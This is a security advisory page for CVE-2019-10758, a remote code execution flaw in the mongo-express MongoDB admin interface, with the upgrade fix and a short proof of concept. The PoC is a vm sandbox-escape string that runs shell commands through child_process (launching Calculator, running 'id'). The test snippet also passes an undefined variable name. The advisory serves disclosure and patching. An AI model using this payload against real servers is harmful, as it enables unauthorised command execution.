Remote Code Execution (RCE) Affecting mongo-express package, versions <0.54.0
Threat Intelligence
Exploit Maturity
Mature
EPSS
97.44% (100th
percentile)
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Test your applications- Snyk ID SNYK-JS-MONGOEXPRESS-473215
- published 16 Oct 2019
- disclosed 14 Oct 2019
- credit Jonathan Leitschuh
Introduced: 14 Oct 2019
CVE-2019-10758 Open this link in a new tabHow to fix?
Upgrade mongo-express to version 0.54.0 or higher.
Overview
mongo-express is a web-based MongoDB admin interface written with Node.js, Express and Bootstrap3
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via endpoints that use the toBSON method. A misuse of the vm dependency to perform exec commands in a non-safe environment.
PoC by Jonathan Leitschuh
# MacOS
this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')
it('should not be executable', function () {
const test = `
this.constructor.constructor("return console")().log(this.constructor.constructor("return process")().mainModule.require('child_process').execSync('id').toString())
`;
const result = bson.toBSON(calculatorTest);
});
CVSS Scores
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